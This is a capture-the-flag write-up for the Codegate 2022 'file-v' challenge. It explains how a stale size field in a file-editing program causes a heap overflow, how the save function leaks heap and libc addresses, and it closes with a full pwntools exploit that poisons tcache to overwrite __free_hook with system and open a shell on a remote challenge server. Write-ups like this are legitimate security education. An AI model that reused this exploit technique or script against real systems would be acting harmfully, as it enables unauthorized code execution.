Codegate CTF 2022 file-v writeup

0x1 Filesystem?

The reason I chose this challenge is because nobody is focusing this challenge in my team, so I took a glance at it.

This program consists 2 parts, first is main process which handle all our input, and a backend process(child) that handles all data passed by main process.

These two process communicate with a socket pair.

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int fd[2]; // [rsp+0h] [rbp-18h] BYREF
  unsigned __int64 v4; // [rsp+8h] [rbp-10h]

  v4 = __readfsqword(0x28u);
  *(_QWORD *)fd = -1LL;
  banner();
  initial();
  if ( socketpair(1, 1, 0, fd) >= 0 )
  {
    if ( fork() )
      interface(fd[1]);
    backend(fd[0]);
  }
  perror("socketpair");
  exit(-1);
}

The frontend process has following functions:

  • Create new file
  • Print files
  • Select file (perform some operations on specific file)
    • Edit file name
    • Edit file color
    • Show file content
    • Edit file content
    • Save file changes
    • Remove file

The backend process is simpler, accept specific operations from frontend process and store in memory:

  • Print files
  • Create new file
  • Select file ( actually just return a plain file structure)
  • Edit file ( actually just store file structure from frontend process)
  • Delete file

0x2 Bug?

At first I thought there’s a race condition bug because there’s a fork call, otherwise It doesn’t need to fork a new process.

But let’s take a closer look at edit function in frontend.

    __printf_chk(1LL, "Enter content: ");
    v5 = gets(new_len);
    v6 = ptr->total_bytes;
    v7 = v5;
    v8 = (file *)malloc(ptr->total_bytes - ptr->content_len + new_len);
    memcpy(v8, ptr, v6);
    v8->edit_time = time(0LL);
    v9 = v8->filename_len;
    v8->content_len = new_len;
    memcpy(&v8->content[v9 + 1], v7, new_len);
    free(ptr);
    free(v7);

The total_bytes isn’t updated!

How do we update this field? Let’s check edit name function.

    __printf_chk(1LL, "Enter filename: ");
    v5 = gets(v4);
    v6 = strlen(v5);
    v7 = ptr->content_len + v6 + 0x19;
    v8 = (file *)calloc(v7, 1uLL);
    v8->total_bytes = v7;
    v8->create_time = ptr->create_time;
    v9 = time(0LL);
    LODWORD(v7) = ptr->content_len;
    v8->edit_time = v9;
    v10 = ptr->color;
    v8->filename_len = v6;
    v8->content_len = v7;
    v8->color = v10;
    memcpy(v8->content, v5, v6);
    memcpy(&v8->content[v6 + 1], &ptr->content[ptr->filename_len + 1], (unsigned int)v7);
    free(ptr);
    free(v5);

total_bytes is actually updated in edit name!

What if, we first edit content like 0x100 bytes, edit name(update total_bytes) and second time we edit this content 0x20 bytes?

memcpy(v8, ptr, v6); v6 is actually old total_bytes, which means we will overflow v8!

0x3 How to leak?

Seems there’s only a oob write bug in edit, and likely it will cause heap crash, so how to leak?

Let’s checksec first:

[+] checksec for '/home/rookie/funnypwn/codegate/2022/filev/file-v'
Canary                        : โœ“ 
NX                            : โœ“ 
PIE                           : โœ“ 
Fortify                       : โœ“ 
RelRO                         : Full

Everything is on, hmmm.

Meme Challenge Accepted wallpaper | Challenge accepted, Book challenge,  Challenges

0x4 Save to rescue

What if , we don’t update total_bytes?

After we updating content_len in edit content, how about save the file struct directly without editing name?

Let’s check frontend save function:

 bufa[0] = 0x401012703LL;
  if ( send(fd, bufa, 8uLL, 0) < 0 || send(fd, &n, 4uLL, 0) < 0 || send(fd, filename, n, 0) < 0 )
    goto LABEL_13;
  if ( (int)recv(fd, &v7, 4uLL, 0) < 0 )
    goto LABEL_14;
  if ( v7 == 0xC00000BB )
    goto LABEL_10;
  if ( send(fd, a4, 4uLL, 0) < 0 || send(fd, a4, (unsigned int)a4->total_bytes, 0) < 0 )
  {
LABEL_13:
    perror("send");
    exit(-1);
  }

As you can see, the saved bytes is actually determined by total_bytes!

If we make content_len larger than total_bytes, we can leak heap data by show content!

0x5 Exploit

The exploit is very straightforward, just abusing tcache link list, we can write free_hook to system and get shell.

My exploit is a bit complex because I forgot libc 2.27 doesn’t check tcache chunk size, my first thought is writing one gadget to malloc_hook, but I didn’t found a useable one gadget. After some frustration I suddenly remembered libc 2.27 doesn’t check size metadata which means we can write anywhere!

Here is my full exploit code:

from pwn import *

debug = 0
# socat -d -d TCP-LISTEN:5555,reuseaddr,fork EXEC:"env LD_PRELOAD=./libc-2.27.so ./file-v"
if debug:
    os.system('pkill -9 file-v')
    p = remote('127.0.0.1', 5555)
    with open('/tmp/test.gdb', 'w') as f:
        f.write('b *0x555555556AEA')
    # run_in_new_terminal("gdb attach $(ps -C file-v -o pid|sed -n '2p') -x /tmp/test.gdb")  # attach child
    # e = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
    e = ELF('filev/libc-2.27.so')
else:
    p = remote('3.36.184.9', 5555)
    e = ELF('filev/libc-2.27.so')


def show_drive():
    p.sendlineafter('> ', 'a')
    p.recvuntil('The number of files: ')
    count = int(p.recvuntil('\n'))
    files = []
    if count:
        for i in range(count):
            p.recvuntil(f'[{i}]:')
            p.recvuntil(' ')
            files.append(p.recvuntil('\x1B', drop=1))
    return files


def create(fn, l=None):
    if not l:
        l = len(fn)
    p.sendlineafter('> ', 'c')
    p.sendlineafter(':', str(l))
    p.sendlineafter(':', fn)


def select(fn):
    p.sendlineafter('> ', 'b')
    p.sendlineafter(':', fn)


def edit_name(fn, l=None):
    if not l:
        l = len(fn)
    p.sendlineafter('> ', '1')
    p.sendlineafter(':', str(l))
    p.sendafter(':', fn)


def show():
    p.sendlineafter('> ', '3')
    content = bytearray()
    while True:
        data = p.recvline_regex(r'^\d+\s\|.+?\|', timeout=0.5)
        if data:
            for m in re.finditer(rb'^\d+\s\|(.+?)\|', data, re.MULTILINE):
                for hexbyte in m.group(1).strip().split(b' '):
                    if hexbyte:
                        content += bytearray([int(hexbyte.decode(), 16)])
        else:
            return content


def edit(c, l=None):
    if not l:
        l = len(c)
    p.sendlineafter('> ', '4')
    p.sendlineafter(':', str(l))
    p.sendafter(':', c)


def save():
    p.sendlineafter('> ', '5')


def rm():
    p.sendlineafter('> ', 'd')


def back():
    p.sendlineafter('> ', 'b')


create('rookie')
create('fuck')
select('rookie')
edit('a' * 0x90)
save()
back()
select('rookie')
data = show()
heap = u64(data[0x19:0x21])
libc = u64(data[0x79:0x81])
e.address = libc - e.symbols['_IO_2_1_stderr_']
log.success(f'heap: 0x{heap:x} libc: 0x{e.address:x}')
back()
select('fuck')

edit('a' * (0x88 - 0x1d))
edit_name('f' * 0x67)
edit_name('fuck')
edit(b'x' * 0x69 + p64(0x71) + p64(e.symbols['__free_hook'] - 0x13))
edit_name('fuck')
edit(b'b' * 0x49 + p64(0x101) + b'b' * 0x18)
edit_name('fuck')
edit('c' * 0x49)
payload = b'/bin/sh\x00' + b'b' * 0xb + p64(e.symbols['system'])
payload = payload.ljust(0x67)
edit(payload)
p.interactive()